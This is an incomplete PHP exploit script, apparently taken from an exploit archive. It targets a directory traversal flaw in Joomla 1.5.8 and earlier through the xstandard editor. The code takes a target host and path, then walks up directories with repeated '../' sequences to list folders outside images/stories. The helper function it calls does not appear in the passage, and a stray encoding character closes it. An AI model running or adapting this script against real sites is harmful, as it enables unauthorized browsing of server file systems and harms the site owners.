echo "* Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vuln\n";
echo "* discovered by: irk4z[at]yahoo.pl\n";
echo "*\n";
echo "* greets: all friends ;) enjoy!\n";
echo "*------------------------------------------------------------------*\n";
$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];
if (empty($host) || empty($path)) {
echo "usage: php {$argv[0]}
[
]\n";
echo " php {$argv[0]} example.org /joomla\n";
echo " php {$argv[0]} example.org /joomla ../../\n";
exit;
}
echo "http://" . $host . $path . "/images/stories/\n\n";
if ( empty($folder) ){
$lev = "./";
for( $i = 0; $i <= 7; $i++ ) {
echo browseFolder($host, $path, $lev);
$lev .= "../";
}
} else {
echo browseFolder($host, $path, $folder);
}
Â